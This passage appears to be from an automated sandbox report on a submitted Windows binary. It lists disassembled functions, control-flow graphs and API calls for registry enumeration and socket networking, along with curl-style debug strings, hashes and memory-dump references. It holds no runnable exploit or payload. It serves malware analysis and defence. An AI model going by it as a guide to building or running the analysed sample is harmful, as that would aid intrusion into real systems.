                                                    • API ID: Sleepconnectgetsockopt
                                                    • String ID: cf-socket.c$connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
                                                    • API String ID: 1669343778-879669977
                                                    • Opcode ID: 50f3196cac559401f7f482d245f0cd8e62a8dbda547837693e613d7daa8503db
                                                    • Instruction ID: 34bdc23c1fd5cbb6a2016fab9c40e63fa331dda7bc1c6aa632aaa9a0bf9df8cf
                                                    • Opcode Fuzzy Hash: 50f3196cac559401f7f482d245f0cd8e62a8dbda547837693e613d7daa8503db
                                                    • Instruction Fuzzy Hash: E8B1D370A043069FEF11CF24CD85BA677E0AF82364F18852DE859472D2DB75EC46E7A2
                                                    Function 00F62F17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 144registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1451 f62f17-f62f8c call 139f570 call 139f960 1456 f631c9-f631cd 1451->1456 1457 f631d3-f631d6 1456->1457 1458 f62f91-f62ff4 call f61619 RegOpenKeyExA 1456->1458 1461 f631c5 1458->1461 1462 f62ffa-f6300b 1458->1462 1461->1456 1463 f6315c-f631ac RegEnumKeyExA 1462->1463 1464 f631b2-f631c2 1463->1464 1465 f63010-f63083 call f61619 RegOpenKeyExA 1463->1465 1464->1461 1469 f6314e-f63152 1465->1469 1470 f63089-f630d4 RegQueryValueExA 1465->1470 1469->1463 1471 f630d6-f63137 call 139f840 call 139f8d0 call 139f960 call 139f770 call 139f960 call 139dce0 1470->1471 1472 f6313b-f6314b RegCloseKey 1470->1472 1471->1472 1472->1469
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: EnumOpen
                                                    • String ID: d
                                                    • API String ID: 3231578192-2564639436
                                                    • Opcode ID: 3b3050fb7a3529c9636c1ca0b8f695b871fa1e325205d915b52de98e6bddacc0
                                                    • Instruction ID: d708d870c089a1d5ffc489d3922dde462270d6d027cf1b04517c63dc3fc5dcdc
                                                    • Opcode Fuzzy Hash: 3b3050fb7a3529c9636c1ca0b8f695b871fa1e325205d915b52de98e6bddacc0
                                                    • Instruction Fuzzy Hash: C871A2B49043199FDB50EF69C58479EBBF0FF84318F10885DE89897314E7749A889F92
                                                    Function 00F99290 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1485 f99290-f992ed call f676a0 1488 f993c3-f993ce 1485->1488 1489 f992f3-f992fb 1485->1489 1498 f993d0-f993e1 1488->1498 1499 f993e5-f99427 call f7d090 call fa4f40 1488->1499 1490 f993aa-f993af 1489->1490 1491 f99301-f99333 call f7d8c0 call f7d9a0 1489->1491 1492 f993b5-f993bc 1490->1492 1493 f99456-f99470 1490->1493 1509 f99335-f99364 WSAIoctl 1491->1509 1510 f993a7 1491->1510 1496 f99429-f99431 1492->1496 1497 f993be 1492->1497 1502 f99439-f9943f 1496->1502 1503 f99433-f99437 1496->1503 1497->1493 1498->1492 1504 f993e3 1498->1504 1499->1493 1499->1496 1502->1493 1508 f99441-f99453 call fa50a0 1502->1508 1503->1493 1503->1502 1504->1493 1508->1493 1513 f9939b-f993a4 1509->1513 1514 f99366-f9936f 1509->1514 1510->1490 1513->1510 1514->1513 1517 f99371-f99390 setsockopt 1514->1517 1517->1513 1518 f99392-f99395 1517->1518 1518->1513
                                                    APIs
                                                    • WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 00F9935D
                                                    • setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004,?,00000004,?,00000000,00000000), ref: 00F99388
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: Ioctlsetsockopt
                                                    • String ID: Send failure: %s$cf-socket.c$send(len=%zu) -> %d, err=%d
                                                    • API String ID: 1903391676-2691795271
                                                    • Opcode ID: 05fe306ddc7a364166cdf97a2815fbe37e596e5b21486320bf61b6d2dfcedf68
                                                    • Instruction ID: 5e520f4dc6ab031d73b3813b5601e96c52b92a6a18345025a41b54ccb305da65
                                                    • Opcode Fuzzy Hash: 05fe306ddc7a364166cdf97a2815fbe37e596e5b21486320bf61b6d2dfcedf68
                                                    • Instruction Fuzzy Hash: FA510370A04305ABEB11DF28CC81FAAB7A5FF84324F15852DFD489B292E771E991C751
                                                    Function 00F676A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 73networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1519 f676a0-f676be 1520 f676e6-f676f2 send 1519->1520 1521 f676c0-f676c7 1519->1521 1523 f676f4-f67709 call f672a0 1520->1523 1524 f6775e-f67762 1520->1524 1521->1520 1522 f676c9-f676d1 1521->1522 1525 f676d3-f676e4 1522->1525 1526 f6770b-f67759 call f672a0 call f6cb20 call 12e8c50 1522->1526 1523->1524 1525->1523 1526->1524
                                                    APIs
                                                    • send.WS2_32(multi.c,?,?,?,00F63D4E,00000000,?,?,00F707BF), ref: 00F676EB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: send
                                                    • String ID: LIMIT %s:%d %s reached memlimit$SEND %s:%d send(%lu) = %ld$multi.c$send
                                                    • API String ID: 2809346765-3388739168
                                                    • Opcode ID: ceba93610c90fddc7939be05d2cccf45575e8c3087caa10a719d7411975476e3
                                                    • Instruction ID: ffd12d1878dc014b499a7bb1d0d45e251114cc1a10266383887ed2cc148cfc16
                                                    • Opcode Fuzzy Hash: ceba93610c90fddc7939be05d2cccf45575e8c3087caa10a719d7411975476e3
                                                    • Instruction Fuzzy Hash: 971157F5A6C304BBE120A749ED96D373B9CDBC2B3CF520909F80417211E1A29C0093F1
                                                    Function 00F67770 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1638 f67770-f6778e 1639 f677b6-f677c2 recv 1638->1639 1640 f67790-f67797 1638->1640 1642 f677c4-f677d9 call f672a0 1639->1642 1643 f6782e-f67832 1639->1643 1640->1639 1641 f67799-f677a1 1640->1641 1644 f677a3-f677b4 1641->1644 1645 f677db-f67829 call f672a0 call f6cb20 call 12e8c50 1641->1645 1642->1643 1644->1642 1645->1643
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: recv
                                                    • String ID: LIMIT %s:%d %s reached memlimit$RECV %s:%d recv(%lu) = %ld$recv
                                                    • API String ID: 1507349165-640788491
                                                    • Opcode ID: ed463abd9fae4093d893b8162976a02f372a15be4dc45535f42cb251c42306de
                                                    • Instruction ID: f2ff12aead127c7a8e7d09074a89e258b3146889ee644aa73439914b41597ec1
                                                    • Opcode Fuzzy Hash: ed463abd9fae4093d893b8162976a02f372a15be4dc45535f42cb251c42306de
                                                    • Instruction Fuzzy Hash: 8E1157F5A58304BBE120AB29ED9AE373B9CDBC3B7CF520519F80453212E1619C0492F1
                                                    Function 00F675E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1657 f675e0-f675ed 1658 f67607-f67629 socket 1657->1658 1659 f675ef-f675f6 1657->1659 1661 f6763f-f67642 1658->1661 1662 f6762b-f6763c call f672a0 1658->1662 1659->1658 1660 f675f8-f675ff 1659->1660 1663 f67643-f67699 call f672a0 call f6cb20 call 12e8c50 1660->1663 1664 f67601-f67602 1660->1664 1662->1661 1664->1658
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: socket
                                                    • String ID: FD %s:%d socket() = %d$LIMIT %s:%d %s reached memlimit$socket
                                                    • API String ID: 98920635-842387772
                                                    • Opcode ID: 37373c53120e97a59a21ed65d8fe9706c6199272ebc62b8bd03f50dbacad6fcb
                                                    • Instruction ID: 21e7f4a664b044796e532bc993bca4babbe7453ec49f548027d1bc62fa01a9af
                                                    • Opcode Fuzzy Hash: 37373c53120e97a59a21ed65d8fe9706c6199272ebc62b8bd03f50dbacad6fcb
                                                    • Instruction Fuzzy Hash: E811CCB1E54301A7D620266EEC66E5B3FC8CFC273CF020406F410972A2D2628864E3D0
                                                    Function 00F9A150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1842 f9a150-f9a159 1843 f9a15f-f9a17b 1842->1843 1844 f9a250 1842->1844 1845 f9a249-f9a24f 1843->1845 1846 f9a181-f9a1ce getsockname 1843->1846 1845->1844 1847 f9a1d0-f9a1f5 call f7d090 1846->1847 1848 f9a1f7-f9a214 call f9ef30 1846->1848 1855 f9a240-f9a246 call fa4f40 1847->1855 1848->1845 1853 f9a216-f9a23b call f7d090 1848->1853 1853->1855 1855->1845
                                                    APIs
                                                    • getsockname.WS2_32(?,?,00000080), ref: 00F9A1C6
                                                    Strings
                                                    • getsockname() failed with errno %d: %s, xrefs: 00F9A1F0
                                                    • ssloc inet_ntop() failed with errno %d: %s, xrefs: 00F9A23B
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: getsockname
                                                    • String ID: getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s
                                                    • API String ID: 3358416759-2605427207
                                                    • Opcode ID: 5ad002f26053965847875768e6d07a1a375e7fde714548803e4e9ec97edcd276
                                                    • Instruction ID: 9bb5f35b6e526728999aa009e77704865f55faf846d9907c20a9aaf8f3058eff
                                                    • Opcode Fuzzy Hash: 5ad002f26053965847875768e6d07a1a375e7fde714548803e4e9ec97edcd276
                                                    • Instruction Fuzzy Hash: 8821FB31C08280AAFB219B19DC42FE673BCEF81338F041655F99853051FB32698587D2
                                                    Function 00F7D5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1862 f7d5e0-f7d5ee 1863 f7d652-f7d662 WSAStartup 1862->1863 1864 f7d5f0-f7d604 call f7d690 1862->1864 1866 f7d664-f7d66f 1863->1866 1867 f7d670-f7d676 1863->1867 1870 f7d606-f7d614 1864->1870 1871 f7d61b-f7d651 call f87620 1864->1871 1867->1864 1869 f7d67c-f7d68d 1867->1869 1870->1871 1876 f7d616 1870->1876 1876->1871
                                                    APIs
                                                    • WSAStartup.WS2_32(00000202), ref: 00F7D65A
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: Startup
                                                    • String ID: if_nametoindex$iphlpapi.dll
                                                    • API String ID: 724789610-3097795196
                                                    • Opcode ID: 382065fd6e09b48c69c2d5322b4c27b9a30ff2d69ff8626e80f741f3318b489a
                                                    • Instruction ID: 5538f0cd6734d56da259c0396966bc30c4cb0630f1d2498fe83875cbd9be380e
                                                    • Opcode Fuzzy Hash: 382065fd6e09b48c69c2d5322b4c27b9a30ff2d69ff8626e80f741f3318b489a
                                                    • Instruction Fuzzy Hash: 61014790E4034106F7217B38AD2736635E42F51314FC6146FE85DA7192FB2AC988D393
                                                    Function 0102AA30 Relevance: 4.9, APIs: 3, Instructions: 377networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1878 102aa30-102aa64 1880 102ab04-102ab09 1878->1880 1881 102aa6a-102aaa7 call 101e730 1878->1881 1883 102ae80-102ae89 1880->1883 1885 102aaa9-102aabd 1881->1885 1886 102ab0e-102ab13 1881->1886 1888 102ab18-102ab50 1885->1888 1889 102aabf-102aac7 1885->1889 1887 102ae2e 1886->1887 1890 102ae30-102ae4a call 101ea60 call 101ebf0 1887->1890 1894 102ab58-102ab6d 1888->1894 1889->1887 1891 102aacd-102ab02 1889->1891 1903 102ae75-102ae7d 1890->1903 1904 102ae4c-102ae57 1890->1904 1891->1894 1897 102ab96-102abab socket 1894->1897 1898 102ab6f-102ab73 1894->1898 1897->1887 1902 102abb1-102abc5 1897->1902 1898->1897 1900 102ab75-102ab8f 1898->1900 1900->1902 1916 102ab91 1900->1916 1905 102abd0-102abed ioctlsocket 1902->1905 1906 102abc7-102abca 1902->1906 1903->1883 1908 102ae59-102ae5e 1904->1908 1909 102ae6e-102ae74 1904->1909 1911 102ac10-102ac14 1905->1911 1912 102abef-102ac0a 1905->1912 1906->1905 1910 102ad2e-102ad39 1906->1910 1908->1909 1919 102ae60-102ae6c 1908->1919 1909->1903 1917 102ad52-102ad56 1910->1917 1918 102ad3b-102ad4c 1910->1918 1913 102ac16-102ac31 1911->1913 1914 102ac37-102ac41 1911->1914 1912->1911 1923 102ae29 1912->1923 1913->1914 1913->1923 1921 102ac43-102ac46 1914->1921 1922 102ac7a-102ac7e 1914->1922 1916->1887 1917->1923 1924 102ad5c-102ad6b 1917->1924 1918->1917 1918->1923 1919->1903 1927 102ad04-102ad08 1921->1927 1928 102ac4c-102ac51 1921->1928 1930 102ac80-102ac9b 1922->1930 1931 102ace7-102acfe 1922->1931 1923->1887 1932 102ad70-102ad78 1924->1932 1927->1910 1934 102ad0a-102ad28 1927->1934 1928->1927 1935 102ac57-102ac78 1928->1935 1930->1931 1936 102ac9d-102acc1 1930->1936 1931->1927 1937 102ada0-102adae connect 1932->1937 1938 102ad7a-102ad7f 1932->1938 1934->1910 1934->1923 1940 102acc6-102acd7 1935->1940 1936->1940 1939 102adb3-102adcf 1937->1939 1938->1937 1941 102ad81-102ad99 1938->1941 1948 102add5-102add8 1939->1948 1949 102ae8a-102ae91 1939->1949 1940->1923 1947 102acdd-102ace5 1940->1947 1941->1939 1947->1927 1947->1931 1950 102ade1-102adf1 1948->1950 1951 102adda-102addf 1948->1951 1949->1890 1952 102adf3-102ae07 1950->1952 1953 102ae0d-102ae12 1950->1953 1951->1932 1951->1950 1952->1953 1959 102aea8-102aead 1952->1959 1954 102ae14-102ae17 1953->1954 1955 102ae1a-102ae1c call 102af70 1953->1955 1954->1955 1958 102ae21-102ae23 1955->1958 1960 102ae93-102ae9d 1958->1960 1961 102ae25-102ae27 1958->1961 1959->1890 1962 102aeaf-102aeb1 call 101e760 1960->1962 1963 102ae9f-102aea6 call 101e7c0 1960->1963 1961->1890 1967 102aeb6-102aebe 1962->1967 1963->1967 1968 102aec0-102aedb call 101e180 1967->1968 1969 102af1a-102af1f 1967->1969 1968->1890 1972 102aee1-102aeec 1968->1972 1969->1890 1973 102af02-102af06 1972->1973 1974 102aeee-102aeff 1972->1974 1975 102af08-102af0b 1973->1975 1976 102af0e-102af15 1973->1976 1974->1973 1975->1976 1976->1883
                                                    APIs
                                                    • socket.WS2_32(FFFFFFFF,?,00000000), ref: 0102AB9B
                                                    • ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0102ABE4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
